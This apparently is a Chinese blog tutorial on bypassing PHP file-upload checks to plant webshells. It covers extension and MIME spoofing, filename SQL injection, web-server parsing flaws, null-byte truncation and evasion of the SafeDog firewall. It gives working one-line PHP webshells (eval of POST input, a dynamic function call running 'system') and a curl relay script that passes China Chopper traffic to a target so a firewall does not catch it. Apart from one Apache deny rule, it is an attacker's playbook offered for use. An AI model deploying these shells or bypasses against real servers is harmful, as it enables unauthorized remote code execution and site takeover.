PHP上传文件引发的思考
正常情况下PHP上传文件的代码一般都是下面这个样子的。
<html>
<form action="upload.php" method="post" enctype="multipart/form-data" />
<div>
<input type="hidden" name="MAX_FILE_SIZE" value="100000000" />
<label for="userfile">Upload a file:</label>
<input type="file" name="userfile" id="userfile" />
<input type="submit" value="Send File">
</div>
</form>
</html>
<?php
// print_r($_FILES['userfile']);
if ($_FILES['userfile']['error'] > 0) {
echo 'Problem:';
switch ($_FILES['userfile']['error']) {
case 1:
echo "File exceeded upload_max_size";
break;
case 2:
echo "File exceeded upload max file size";
break;
case 3:
echo "File only partially upload";
break;
case 4:
echo 'No file uploaded';
break;
case 6:
echo "Cannot upload file: No temp directory specified.";
break;
case 7:
echo "Upload failed: Cannot write to disk.";
break;
default:
# code...
break;
}
exit;
}
if ($_FILES['userfile']['type'] != 'text/plain') {
echo 'Problem: file is not plain text';
exit;
}
$upfile = './upload/'.$_FILES['userfile']['name'];
if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
if (!move_uploaded_file($_FILES['userfile']['tmp_name'], $upfile)) {
echo 'Problem: Could not move file to destination directory.';
}
}
else {
echo 'Problem: Possible file upload attack. Filename:';
echo $_FILES['userfile']['name'];
exit;
}
echo "File uploaded successfully<br /><br />";
$contents = file_get_contents($upfile);
$contents = strip_tags($contents);
file_put_contents($_FILES['userfile']['name'], $contents);
echo "<p>Preview of uploaded file contents: <br/><hr/>";
echo nl2br($contents);
echo '<br /><hr />';
?>
但是总会出现一些上传绕过的问题。
0x1 客户端做javascript验证
对于这种情况,修改发出去的数据包就可以绕过了。例如只允许上传图片文件,那就把我们的马改成xx.jpg,然后拦截数据包改为xx.php之类的。
0x2 只验证了type是否为image/gif
这种情况其实也很容易绕过,伪造文件头为GIF89A就可以绕过一大片了。
拦截数据包改掉type也可以绕过一大片。
0x3 SQL注入
这里的注入是指文件名注入,如果直接把未经过滤的文件名拿去查询了,是有可能造成这种情况的。
例如
$query = "SELECT * FROM article WHERE filename='$filename' AND filetype='text'";
构造文件名:webshell.php.' or 'a'='a
上传后SQL查询就变成了:
$query = "SELECT * FROM article WHERE filename='webshell.php.' or 'a'='a' AND filetype='text'";
这里乱入一个apache解析漏洞。。
在windows+IIS6的情况下有文件名的解析漏洞,不清楚的童鞋自行google。在apache+PHP的环境下也存在一个解析漏洞。(比较老的洞了)
不管文件的后缀名是什么,只要是.php.*
结尾的,就会被当作PHP来解析。
也就是说,如果我们上传了一个a.php.jpg的文件,apache仍然会将其作为php来解析。
原因其实很简单,aa.php.rar。Apache从右到左开始判断解析,如果不可解析再从左向右判断。这里先判断rar,不可解析,于是开始从左向右的判断,于是就变成了aa.php,解析了。。。
那么如何防御呢,很简单,只要禁止.php.*
这样的文件执行就可以了。
在配置文件里加入:
<Files ~ "/.(php.|php3.)">
Order Allow,Deny
Deny from all
</Files>
这里乱入这个漏洞的原因是,这种SQL注入会GETSHELL!
0x4 解析漏洞
解析漏洞算是一个大类了,各种各样的都有。
IIS6的解析漏洞可谓是百发百中啊。高版本的IIS中其实也存在解析漏洞的。
先来说IIS7.5的解析漏洞,前提是要有FCK,不过这东西现在越来越少了。
在FCK里面上传a.aspx.a;.a.aspx.jpg..jpg
然后菜刀直连就可以了。下面说说IIS7的解析漏洞。
在默认Fast-CGI开启状况下,黑阔上传一个名字为aaa.jpg,内容为
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php除了IIS和Apache之外,nginx也存在一个解析漏洞,版本 0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php
来执行其中的代码还有一种比较特殊的解析问题,在windows中,
xx.jpg[空格]
和xx.jpg.
是不允许存在的。
抓包改成类似这样的文件名,就可以绕过黑名单,若上传成功,空格和点都会被windows去掉。可以getshell了。如果.htaccess可以被上传的话。。直接写入
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
将jpg文件设置为可被解析。
0x5 截断绕过
最常见的是%00绕过啦。如果GPC开了或者遇到高版本PHP,可以尝试HEX中20改为00。然后用nc发包。
0x6大小写
这个很简单了,不过有一些小技巧,如果过滤php为空的话,那就构造pphphp过滤后就会剩下php
还有两个奇葩的。。
x."php" x.'php
0x7How to kill dog
安全狗一直是我们的死对头,绕狗也是有一些办法的,但是实际情况不佳。
在windows系统里,抓包,在文件名最后加一个←有可能绕过。
还有一个很风骚的方法。
图挂了。。忘了试啥了,好像是把数据包头部的某个字段多复制一份。。还是改大小写啥的。。还是抓包,然后把上传的文件名和文件内容复制一份,如果有if(security_check(a)){do(b)}问题的话,就会被绕过。
一句话的绕过
<?php
$_REQUEST['a']($_REQUEST['b']);
?>
然后在浏览器里执行:
http://127.0.0.1/small.php?a=system&b=dir
- 菜刀绕过
在本地写个转发脚本
<?php
$target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}
else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
//echo($pp);
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
然后在菜刀里连接这个php,带上参数?a=assert
- 大马怎么绕呢。。?当然是include大法。
<?php include ('logo.txt') ?>
把大马命名为logo.txt.上传就OK了。